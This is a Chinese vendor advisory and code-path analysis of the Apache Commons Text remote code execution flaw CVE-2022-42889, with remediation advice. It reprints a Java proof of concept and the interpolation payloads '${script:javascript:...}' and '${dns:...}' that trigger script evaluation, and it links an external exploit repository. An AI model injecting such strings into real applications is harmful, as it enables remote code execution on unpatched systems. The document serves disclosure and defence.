freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【漏洞分析】Apache Commons Text远程代码执行漏洞(CVE-2022-42889)
安博通 2022-11-30 11:03:19 230095
所属地 北京

一、漏洞信息

漏洞描述

CVE编号:CVE-2022-42889

Apache Commons Text:该组件是一款处理字符串和文本块的开源项目,简单来说,除了核心Java提供的功能外,Apache Commons文本库还包含了许多有用的实用程序方法,用于处理字符串。通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,常用于数据库查询前的语句替换,或者页面输出时的替换。

Apache Commons Text执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于查找org.apache.commons.text.loookup的实例,执行插值的StringLookup 。从1.5版开始一直到1.9版,默认Lookup实例集包括插值器,这些插值器可能导致任意代码执行或与远程服务器通信。这些查找是:-“script”-使用JVM脚本执行引擎(javax.script)执行表达式-“dns”-解析dns记录-“url”-从url加载值,如果使用不受信任的配置值,则受影响版本中使用插值默认值的应用程序,可能容易受到远程代码执行或与远程服务器无意接触的影响。建议用户升级到Apache Commons Text 1.10.0,默认情况下会禁用有问题的插值器。

影响范围

1.5 <= Apache Commons Text <= 1.9

修复建议

建议升级组件,获取官方版本地址如下:

https://commons.apache.org/proper/commons-text/download_text.cgi

安博通防护能力

对于该漏洞,安博通已经第一时间跟进,添加相应的IPS防护规则,为用户提供高效及时的安全防护。

IPS版本:20221017.uips及以上版本

规则编号:995174

防护效果

二、漏洞研究

漏洞复现

复现的代码如下:

package com.seanwrightsec.poc;

import org.apache.commons.text.StringSubstitutor;

import java.util.Scanner;

public class PoC {
    public final static String DEFAULT_POC_STRING = "${script:javascript:195 + 324}";

    public static void main(String[] args) {
        StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
        System.out.println("Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): ");
        Scanner in = new Scanner(System.in);
        String exploitString = in.nextLine();
        if (exploitString.equals("")) {
            exploitString = DEFAULT_POC_STRING;
        }
        String output = stringSubstitutor.replace(exploitString);
        System.out.println("=====");
        System.out.printf("Exploiting PoC with the exploit string '%s'%n", exploitString);
        System.out.println("=====");
        System.out.println("PoC Output:");
        System.out.println("-----");
        System.out.println(output);
        System.out.println("=====");
    }
}

构造语句:${dns:address|www.google.com},实现了对Google的dns地址查询命令并成功返回,可见远程代码执行漏洞确实存在。

代码研究

下面从代码运行的视角来分析漏洞产生的原因。

先从StringSubstitutor.replace方法中跟入。

调用substitute解析传入的字符串。

跟进resolveVariable 。

这里获取的StringLookup,就是之前使用StringSubstitutor.createInterpolator()创建实例化对象的地方。

并在构造方法中调用了this.setVariableResolver(variableResolver),设置VariableResolver为InterpolatorStringLookup类。

继续跟入InterpolatorStringLookup的lookup方法中。

构造的JavaScript字符串被传入到lookup方法中。

而ScriptStringLookup类调用了lookup方法。

ScriptStringLookup类中的scriptEngine.eval函数获取到了传入的构造语句,直接执行。

关于这个引擎的介绍和使用可以参考这个链接:

https://www.qieseo.com/329754.html

Nashorn扩展可以使JVM在运行时动态调用JavaScript脚本,大大提升了开发时的灵活机动性,也正因此导致了Apache Commons Text远程代码执行漏洞。

原因分析

该漏洞存在于StringSubstitutor插值器对象中。插值器由StringSubstitutor.createInterpolator()方法创建,并允许StringLookupFactory中定义的字符串查找。这可以通过传递字符串“${prefix:name}”来使用,其中前缀如下:

使用“script”、“dns”或“url”查找,将允许字符串在传递给插值器对象时,执行任意脚本。

由于Commons Text是一个库,因此插值器的具体用法将决定此漏洞的影响程度。

虽然此特定代码片段不太可能存在于生产应用程序中,但令人担忧的是,在某些应用程序中,pocstring变量可能被攻击者控制。从这个意义上说,该漏洞与Log4Shell相呼应。但是,与Log4j中易受攻击的字符串替换相比,StringSubstitutor插值器的使用范围要小得多。并且这种插值器的性质意味着,将内容输入到易受攻击的对象中的可能性,比仅与Log4Shell中的此类字符串交互的可能性要小。

PoC/Exp

POC :https://github.com/SeanWrightSec/CVE-2022-42889-PoC

# 网络安全 # 漏洞分析
本文为 安博通 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
安博通 LV.6
安博通,可视化网络安全技术创新者
  • 48 文章数
  • 14 关注者
语音网络钓鱼新动向:DarkGate恶意软件入侵案例剖析
2025-02-18
揭秘SQL注入漏洞:为何它成为攻击者的首选?
2024-08-29
揭露黑产新势力:Akira勒索软件家族深度解析
2024-08-08
文章目录